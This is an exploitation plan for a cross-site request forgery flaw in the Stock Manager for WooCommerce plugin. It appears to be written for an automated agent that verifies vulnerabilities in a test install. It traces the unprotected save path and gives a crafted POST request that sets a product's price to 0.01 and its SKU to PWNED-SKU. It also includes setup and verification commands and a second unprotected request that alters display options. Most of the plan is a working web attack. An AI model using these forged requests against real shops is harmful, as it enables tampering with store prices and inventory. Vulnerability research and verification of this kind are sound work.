Exploitation Research Plan: CVE-2026-24365 (Stock Manager for WooCommerce CSRF)

1. Vulnerability Summary

The Stock Manager for WooCommerce plugin (versions < 3.6.0) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the plugin's administration logic where it processes product updates. Specifically, the file admin/views/admin.php handles $_POST data to update product attributes (prices, stock, SKUs) without any nonce validation. An attacker can trick a logged-in administrator or shop manager into submitting a crafted POST request, leading to unauthorized modification of store inventory data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php?page=stock-manager
• Method: POST
• Vulnerable Hook: The code is triggered during the rendering of the stock-manager admin page, which occurs when admin/views/admin.php is included.
• Authentication Required: Administrator or Shop Manager (anyone with access to the Stock Manager menu).
• Impact: Change product prices, stock status, stock quantities, and SKUs across the entire store.

3. Code Flow

1. When an admin navigates to the "Stock Manager" page, WordPress loads the registered menu page.
2. The plugin's main class Stock_Manager_Admin (in admin/class-stock-manager-admin.php) manages the page rendering.
3. The file admin/views/admin.php is included to render the interface.
4. At the beginning of admin/views/admin.php (lines 14-20), the following logic executes:

   $product_id = ( ! empty( $_POST['product_id'] ) ) ? wc_clean( wp_unslash( $_POST['product_id'] ) ) : 0;
   $product    = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array();
   if ( ! empty( $product_id ) ) {
       $stock->save_all( $product );
   }
   

5. $stock is an instance of WSM_Stock. The method save_all (in admin/includes/class-wsm-stock.php) is called:

   public function save_all( $data ) {
       $post = ( ! empty( $_POST ) ) ? wc_clean( wp_unslash( $_POST ) ) : array();
       foreach ( $data['product_id'] as $item ) {
           WSM_Save::save_one_item( $post, $item );
       }
   }
   

6. WSM_Save::save_one_item calls save_data, which uses WooCommerce CRUD methods (e.g., $_product->set_regular_price(), $_product->save()) to commit changes to the database.
7. Critical Failure: There is no call to check_admin_referer() or wp_verify_nonce() before the save_all call.

4. Nonce Acquisition Strategy

This vulnerability is characterized by the complete absence of a nonce check for the product update action in admin/views/admin.php. Therefore, no nonce acquisition is required to exploit this specific vector.

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated attacker can force an admin to change a product's price to 0.01 and its SKU to PWNED.

Step-by-Step Plan:

1. Identify Target Product: Find a valid product ID (e.g., ID 123).
2. Craft POST Request: The request must target the admin page URL and include the product_id array along with the fields to be modified.
3. Execute via Admin Session: Use the http_request tool (simulating a victim admin session) to send the payload.

Request Details:

• URL: http://[target-site]/wp-admin/admin.php?page=stock-manager
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • product_id[]: 123 (The ID of the target product)
  • regular_price: 0.01
  • sku: PWNED-SKU
  • manage_stock: yes
  • stock: 9999

6. Test Data Setup

1. Ensure WooCommerce is installed and configured.
2. Install Stock Manager for WooCommerce version 3.5.0 or lower.
3. Create a test product:

   wp eval '
   $product = new WC_Product_Simple();
   $product->set_name("Target Product");
   $product->set_regular_price("100.00");
   $product->set_sku("ORIGINAL-SKU");
   $product->save();
   echo $product->get_id();
   '
   

4. Identify the ID returned by the command above.

7. Expected Results

• The server should respond with a 200 OK (as it continues to render the admin page).
• The product with the specified ID will have its price updated to 0.01 and SKU updated to PWNED-SKU.

8. Verification Steps

After the http_request, verify the change using WP-CLI:

# Check price and SKU
wp eval '
$product = wc_get_product(TARGET_ID);
printf("SKU: %s, Price: %s\n", $product->get_sku(), $product->get_regular_price());
'

Successful exploitation will show: SKU: PWNED-SKU, Price: 0.01.

9. Alternative Approaches

The file admin/views/admin.php also contains another unprotected action:

• Action: save_filter_display
• Parameter: page-filter-display
• Impact: Modifies the wsm_display_option WordPress option, allowing an attacker to change which columns (thumbnails, prices, weight) are visible to the administrator in the plugin's dashboard.

Request for Alternative:

• URL: http://[target-site]/wp-admin/admin.php?page=stock-manager
• Body: page-filter-display=1&price=no&weight=no
• Verification: wp option get wsm_display_option